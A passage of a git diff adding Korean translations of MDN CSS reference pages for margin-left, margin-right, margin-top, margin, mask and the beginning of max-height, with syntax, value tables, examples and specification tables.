+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+margin-left: 20px; /* 절대 길이 */
+margin-left: 1em; /* 글씨 크기에 상대적 */
+margin-left: 5%; /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-left: auto;
+
+/* 전역 값 */
+margin-left: inherit;
+margin-left: initial;
+margin-left: unset;
+</pre>
+
+<p><code>margin-left</code> 속성은 키워드 <code>auto</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>바깥 여백 크기의 고정 값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>바깥 여백 크기와 블록 컨테이너 너비의 비율.</dd>
+ <dt><code>auto</code></dt>
+ <dd>사용한 레이아웃 모드에 따라 가로축 미사용 공간 너비의 일부를 바깥 여백에 할당. <code>margin-left</code>와 <code>margin-right</code>의 값이 모두 <code>auto</code>라면 너비를 양 여백에 동일하게 배정합니다. 아래 표가 가능한 여러 경우를 보입니다.
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">{{cssxref("display")}} 값</th>
+ <th scope="col">{{cssxref("float")}} 값</th>
+ <th scope="col">{{cssxref("position")}} 값</th>
+ <th scope="col"><code>auto</code>의 계산 값</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th><code>inline</code>, <code>inline-block</code>, <code>inline-table</code></th>
+ <th><em>any</em></th>
+ <th><code>static</code> or <code>relative</code></th>
+ <td><code>0</code></td>
+ <td>인라인 레이아웃 모드</td>
+ </tr>
+ <tr>
+ <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+ <th><em>any</em></th>
+ <th><code>static</code> or <code>relative</code></th>
+ <td><code>0</code>, except if both <code>margin-left</code> and <code>margin-right</code> are set to <code>auto</code>. In this case, it is set to the value centering the element inside its parent.</td>
+ <td>블록 레이아웃 모드</td>
+ </tr>
+ <tr>
+ <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+ <th><code>left</code> or <code>right</code></th>
+ <th><code>static</code> or <code>relative</code></th>
+ <td><code>0</code></td>
+ <td>블록 레이아웃 모드 (플로팅 요소)</td>
+ </tr>
+ <tr>
+ <th><em>any </em><code>table-*</code><em>, except </em><code>table-caption</code></th>
+ <th><em>any</em></th>
+ <th><em>any</em></th>
+ <td><code>0</code></td>
+ <td>내부 <code>table-*</code> 요소는 바깥 여백을 가지지 않습니다. 대신 {{ cssxref("border-spacing") }}을 사용하세요.</td>
+ </tr>
+ <tr>
+ <th><em>any, except <code>flex</code>,</em> <code>inline-flex</code><em>, or </em><code>table-*</code></th>
+ <th><em>any</em></th>
+ <th><em><code>fixed</code></em> or <code>absolute</code></th>
+ <td><code>0</code>, except if both <code>margin-left</code> and <code>margin-right</code> are set to <code>auto</code>. In this case, it is set to the value centering the border area inside the available <code>width</code>, if fixed.</td>
+ <td>절대위치 레이아웃 모드</td>
+ </tr>
+ <tr>
+ <th><code>flex</code>, <code>inline-flex</code></th>
+ <th><em>any</em></th>
+ <th><em>any</em></th>
+ <td><code>0</code>, except if there is any positive horizontal free space. In this case, it is evenly distributed to all horizontal <code>auto</code> margins.</td>
+ <td>플렉스박스 레이아웃 모드</td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { margin-left: 5%; }
+.sidebox { margin-left: 10px; }
+.logo { margin-left: -5px; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Box', '#the-margin', 'margin-left') }}</td>
+ <td>{{ Spec2('CSS3 Box') }}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-left') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>margin-left</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-left')}}</td>
+ <td>{{ Spec2('CSS3 Flexbox') }}</td>
+ <td>Defines the behavior of <code>margin-right</code> on flex items.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-left') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Removes its effect on inline elements.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#margin-left', 'margin-left') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.margin-left")}}</p>
diff --git a/files/ko/web/css/margin-right/index.html b/files/ko/web/css/margin-right/index.html
new file mode 100644
index 0000000000..8547ce5bcd
--- /dev/null
+++ b/files/ko/web/css/margin-right/index.html
@@ -0,0 +1,159 @@
+---
+title: margin-right
+slug: Web/CSS/margin-right
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/margin-right
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin-right</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 오른쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a><sup>margin area</sup>을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-right.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+margin-right: 20px; /* 절대 길이 */
+margin-right: 1em; /* 글씨 크기에 상대적 */
+margin-right: 5%; /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-right: auto;
+
+/* 전역 값 */
+margin-right: inherit;
+margin-right: initial;
+margin-right: unset;
+</pre>
+
+<p><code>margin-right</code> 속성은 키워드 <code>auto</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>바깥 여백 크기의 고정 값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>바깥 여백 크기와 블록 컨테이너 너비의 비율.</dd>
+ <dt><code>auto</code></dt>
+ <dd>사용한 레이아웃 모드에 따라 가로축 미사용 공간 너비의 일부를 바깥 여백에 할당. <code>margin-left</code>와 <code>margin-right</code>의 값이 모두 <code>auto</code>라면 너비를 양 여백에 동일하게 배정합니다. 아래 표가 가능한 여러 경우를 보입니다.
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">{{cssxref("display")}} 값</th>
+ <th scope="col">{{cssxref("float")}} 값</th>
+ <th scope="col">{{cssxref("position")}} 값</th>
+ <th scope="col"><code>auto</code>의 계산 값</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th><code>inline</code>, <code>inline-block</code>, <code>inline-table</code></th>
+ <th><em>any</em></th>
+ <th><code>static</code> or <code>relative</code></th>
+ <td><code>0</code></td>
+ <td>인라인 레이아웃 모드</td>
+ </tr>
+ <tr>
+ <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+ <th><em>any</em></th>
+ <th><code>static</code> or <code>relative</code></th>
+ <td><code>0</code>, except if both <code>margin-left</code> and <code>margin-right</code> are set to <code>auto</code>. In this case, it is set to the value centering the element inside its parent.</td>
+ <td>블록 레이아웃 모드</td>
+ </tr>
+ <tr>
+ <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+ <th><code>left</code> or <code>right</code></th>
+ <th><code>static</code> or <code>relative</code></th>
+ <td><code>0</code></td>
+ <td>블록 레이아웃 모드 (플로팅 요소)</td>
+ </tr>
+ <tr>
+ <th><em>any </em><code>table-*</code><em>, except </em><code>table-caption</code></th>
+ <th><em>any</em></th>
+ <th><em>any</em></th>
+ <td><code>0</code></td>
+ <td>내부 <code>table-*</code> 요소는 바깥 여백을 가지지 않습니다. 대신 {{ cssxref("border-spacing") }}을 사용하세요.</td>
+ </tr>
+ <tr>
+ <th><em>any, except <code>flex</code>,</em> <code>inline-flex</code><em>, or </em><code>table-*</code></th>
+ <th><em>any</em></th>
+ <th><em><code>fixed</code></em> or <code>absolute</code></th>
+ <td><code>0</code>, except if both <code>margin-left</code> and <code>margin-right</code> are set to <code>auto</code>. In this case, it is set to the value centering the border area inside the available <code>width</code>, if fixed.</td>
+ <td>절대위치 레이아웃 모드</td>
+ </tr>
+ <tr>
+ <th><code>flex</code>, <code>inline-flex</code></th>
+ <th><em>any</em></th>
+ <th><em>any</em></th>
+ <td><code>0</code>, except if there is any positive horizontal free space. In this case, it is evenly distributed to all horizontal <code>auto</code> margins.</td>
+ <td>플렉스박스 레이아웃 모드</td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { margin-right: 5%; }
+.sidebox { margin-right: 10px; }
+.logo { margin-right: -5px; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Box', '#the-margin', 'margin-right') }}</td>
+ <td>{{ Spec2('CSS3 Box') }}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-right') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>margin-right</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-right')}}</td>
+ <td>{{ Spec2('CSS3 Flexbox') }}</td>
+ <td>Defines the behavior of <code>margin-right</code> on flex items.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-right') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Removes its effect on inline elements.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#margin-right', 'margin-right') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.margin-right")}}</p>
diff --git a/files/ko/web/css/margin-top/index.html b/files/ko/web/css/margin-top/index.html
new file mode 100644
index 0000000000..008ab67ade
--- /dev/null
+++ b/files/ko/web/css/margin-top/index.html
@@ -0,0 +1,100 @@
+---
+title: margin-top
+slug: Web/CSS/margin-top
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/margin-top
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin-top</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 위쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a><sup>margin area</sup>을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-top.html")}}</div>
+
+
+
+<p>{{HTMLElement("span")}}, {{HTMLElement("code")}} 등 <a href="/ko/docs/Web/CSS/Replaced_element">비대체</a><sup>non-replaced</sup> 인라인 요소에는 효과가 없습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css">/* &lt;length&gt; 값 */
+margin-top: 10px; /* 절대 길이 */
+margin-top: 1em; /* 글씨 크기에 상대적 */
+margin-top: 5%; /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-top: auto;
+
+/* 전역 값 */
+margin-top: inherit;
+margin-top: initial;
+margin-top: unset;</pre>
+
+<p><code>margin-top</code> 속성은 키워드 <code>auto</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>바깥 여백 크기의 고정 값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>바깥 여백 크기와 블록 컨테이너 너비의 비율.</dd>
+ <dt><code>auto</code></dt>
+ <dd>브라우저가 적절한 값 선택. {{cssxref("margin")}}을 참고하세요.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush:css;">.content { margin-top: 5%; }
+.sidebox { margin-top: 10px; }
+.logo { margin-top: -5px; }
+#footer { margin-top: 1em; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-top')}}</td>
+ <td>{{Spec2('CSS3 Box')}}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-top')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>margin-top</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-top')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Removes its effect on inline elements.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#margin-top', 'margin-top')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.margin-top")}}</p>
diff --git a/files/ko/web/css/margin/index.html b/files/ko/web/css/margin/index.html
new file mode 100644
index 0000000000..a1048fb37e
--- /dev/null
+++ b/files/ko/web/css/margin/index.html
@@ -0,0 +1,176 @@
+---
+title: margin
+slug: Web/CSS/margin
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/margin
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin</code></strong> CSS 속성은 요소의 네 방향 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a>을 설정합니다. {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}의 단축 속성입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin.html")}}</div>
+
+
+
+<p>위와 아래 여백은 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>가 아닌 {{HTMLElement("span")}}, {{HTMLElement("code")}} 등 인라인 요소에선 아무 효과도 없습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">margin</span></font>은 요소의 주위에 빈 공간을 추가합니다. 반면 {{cssxref("padding")}}은 요소의 <strong>내부</strong>에 빈 공간을 만듭니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">/* 네 면 모두 적용 */
+margin: 1em;
+margin: -3px;
+
+/* 세로방향 | 가로방향 */
+margin: 5% auto;
+
+/* 위 | 가로방향 | 아래 */
+margin: 1em auto 2em;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+margin: 2px 1em 0 auto;
+
+/* 전역 값 */
+margin: inherit;
+margin: initial;
+margin: unset;
+</pre>
+
+<p><code>margin</code> 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}} 또는 키워드 <code>{{anch("auto")}}</code> 중 하나입니다. 음수 값은 요소와 이웃의 거리가 더 가까워지도록 합니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 여백을 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 여백을 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 여백을 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 여백을 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="&lt;length>" name="&lt;length>">{{cssxref("length")}}</a></dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt><a id="&lt;percentage>" name="&lt;percentage>">{{cssxref("&lt;percentage&gt;")}}</a></dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율 사용.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>브라우저가 적절한 여백 크기를 선택. 예를 들어 요소를 중앙 정렬하고 싶을 때 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="center"&gt;이 요소는 중앙 정렬입니다.&lt;/div&gt;
+&lt;div class="outside"&gt;이 요소는 컨테이너 밖으로 빠져 나갔습니다.&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.center {
+ margin: auto;
+ background: lime;
+ width: 66%;
+}
+
+.outside {
+ margin: 3rem 0 0 -3rem;
+ background: cyan;
+ width: 66%;
+}</pre>
+
+<p>{{ EmbedLiveSample('간단한_예제') }}</p>
+
+<h3 id="더_많은_예제">더 많은 예제</h3>
+
+<pre class="brush: css">margin: 5%; /* 모두 5% */
+
+margin: 10px; /* 모두 10px */
+
+margin: 1.6em 20px; /* 상하: 1.6em */
+ /* 좌우: 20px */
+
+margin: 10px 3% -1em; /* 상: 10px */
+ /* 좌우: 3% */
+ /* 하: -1em */
+
+margin: 10px 3px 30px 5px; /* 상: 10px */
+ /* 우: 3px */
+ /* 하: 30px */
+ /* 좌: 5px */
+
+margin: 2em auto; /* 상하: 2em */
+ /* 수평 중앙정렬 */
+
+margin: auto; /* 상하: 0 */
+ /* 수평 중앙정렬 */</pre>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="수평_중앙정렬">수평 중앙정렬</h3>
+
+<p>현대 브라우저에서 어떤 요소를 중앙에 배치하려면 {{cssxref("display")}}<code>: flex; </code>{{cssxref("justify-content")}}<code>: center;</code>를 사용하면 됩니다.</p>
+
+<p>하지만 플렉스 박스 레이아웃을 지원하지 않는 Internet Explorer 8-9 등 오래된 브라우저를 지원해야 하면 <code>margin: 0 auto;</code>를 대신 사용하세요.</p>
+
+<h3 id="여백_상쇄">여백 상쇄</h3>
+
+<p>두 개 요소의 위와 아래 여백은 종종 합쳐져 하나의 여백이 되고, 그 크기는 둘 중 더 큰 여백과 같아집니다. 더 자세한 정보는 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄 정복</a>을 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Box', '#margin', 'margin') }}</td>
+ <td>{{ Spec2('CSS3 Box') }}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>margin</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Removes its effect on inline elements.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#margin', 'margin') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.margin")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS 기본 박스 모델 입문</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄 정복</a></li>
+ <li>{{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}</li>
+</ul>
diff --git a/files/ko/web/css/mask/index.html b/files/ko/web/css/mask/index.html
new file mode 100644
index 0000000000..ca23758e02
--- /dev/null
+++ b/files/ko/web/css/mask/index.html
@@ -0,0 +1,117 @@
+---
+title: mask
+slug: Web/CSS/mask
+tags:
+ - CSS
+ - CSS Property
+ - Layout
+ - Reference
+ - SVG
+ - Web
+translation_of: Web/CSS/mask
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>mask</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 아이템이 부분적으로만 보여지게 하거나 혹은 완전히 가려서 보여지지 않게 할 수 있는 기능을 가지고 있습니다. 이 속성은 마스킹 혹은 특정한 점을 기준으로 이미지를 잘라내는 기능을 함께 제공합니다.</span></p>
+
+<div class="note">
+<p><code>mask</code> 는 {{cssxref("mask-border")}}를 초기값으로 재정의합니다. 그러므로 캐스캐이드 이전 단계에 어떠한 마스크 설정을 덮어씌우는 개별 속성아니 여타 다른 속성보다는 <code>mask</code> 를 사용하는 것을 추천합니다. This will ensure that <code>mask-border</code> has also been reset to allow the new styles to take effect.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+mask: none;
+
+/* 이미지 값 */
+mask: url(mask.png); /* 마스크로 사용되는 이미지 */
+mask: url(masks.svg#star); /* 마스크로 사용되는 SVG 그래픽 내 요소 */
+
+/* 조합형 값 */
+mask: url(masks.svg#star) luminance; /* 밝기 조절용 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) 40px 20px; /* 위로부터 40px, 아래부터 20px에 위치하는 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) 0 0/50px 50px; /* 가로, 세로 각각 50px 사이즈의 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) repeat-x; /* 수평으로 반복되는 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) stroke-box; /* Element within SVG graphic used as mask extending to the box enclosed by the stroke */
+mask: url(masks.svg#star) exclude; /* Element within SVG graphic used as mask and combined with background using non-overlapping parts */
+
+/* 글로벌 값 */
+mask: inherit;
+mask: initial;
+mask: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;mask-reference&gt;</code></dt>
+ <dd>마스크 이미지 파일 설정하기. {{cssxref("mask-image")}}를 확인하세요.</dd>
+ <dt><code>&lt;masking-mode&gt;</code></dt>
+ <dd>마스크 이미지의 마스킹 모드 설정하기. {{cssxref("mask-mode")}}를 확인하세요.</dd>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>마스크 이미지의 위치 설정하기. {{cssxref("mask-position")}}를 확인하세요.</dd>
+ <dt><code>&lt;bg-size&gt;</code></dt>
+ <dd>마스크 이미지의 크기 설정하기. {{cssxref("mask-size")}}를 확인하세요.</dd>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>마스크 이미지의 반복 설정하기. See {{cssxref("mask-repeat")}}를 확인하세요.</dd>
+ <dt><code>&lt;geometry-box&gt;</code></dt>
+ <dd>단 하나의 &lt;geometry-box&gt; 값만 주어진다면 {{cssxref("mask-origin")}}와(과)( {{cssxref("mask-clip")}} 모두 같은 값으로 설정하는 것을 의미합니다. 두개의&lt;geometry-box&gt; 값이 주어진다면 첫번째 값은 {{cssxref("mask-origin")}}을(를), 두번쨰 값은 {{cssxref("mask-clip")}}를 설정하는 것을 의미합니다.</dd>
+ <dt><code>&lt;geometry-box&gt; | no-clip</code></dt>
+ <dd>마스크 이미지에 영향을 받는 구역을 설정하기. {{cssxref("mask-clip")}}를 확인하세요.</dd>
+ <dt><code>&lt;compositing-operator&gt;</code></dt>
+ <dd>현재 마스크 레이어 위의 합성 설정하기. {{cssxref("mask-composite")}}를 확인하세요.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">.target {
+ mask: url(#c1) luminance;
+}
+
+.anothertarget {
+ mask: url(resources.svg#c1) 50px 30px/10px 10px repeat-x exclude;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS Masks", "#the-mask", 'mask')}}</td>
+ <td>{{Spec2("CSS Masks")}}</td>
+ <td>Extends its usage to HTML elements.<br>
+ Extends its syntax by making it a shorthand for the new <code>mask-*</code> properties defined in that specification.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}</td>
+ <td>{{Spec2('SVG1.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.mask")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("clip-path")}}, {{Cssxref("filter")}}</li>
+ <li><a href="/en-US/docs/Applying_SVG_effects_to_HTML_content">HTML에 SVG 효과 적용하기</a></li>
+ <li><a href="/en-US/docs/SVG">SVG</a></li>
+</ul>
diff --git a/files/ko/web/css/max-height/index.html b/files/ko/web/css/max-height/index.html
new file mode 100644
index 0000000000..3c2dfc18de
--- /dev/null
+++ b/files/ko/web/css/max-height/index.html
@@ -0,0 +1,127 @@
+---
+title: max-height
+slug: Web/CSS/max-height
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/max-height
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>max-height</code></strong> <a href="/en-US/docs/CSS">CSS</a> 속성은 요소의 최대 높이를 설정합니다. <code>max-height</code>는 {{cssxref("height")}} 속성의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>이 자신의 값보다 커지는걸 방지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-height.html")}}</div>
+
+
+
+<p><code>max-height</code>가 {{cssxref("height")}}를 재설정하고, {{cssxref("min-height")}}가 <code>max-height</code>를 재설정합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+max-height: 3.5em;
+
+/* &lt;percentage&gt; 값 */
+max-height: 75%;
+
+/* 키워드 값 */
+max-height: none;
+max-height: max-content;
+max-height: min-content;
+max-height: fit-content;
+max-height: fill-available;
+
+/* 전역 값 */
+max-height: inherit;
+max-height: initial;
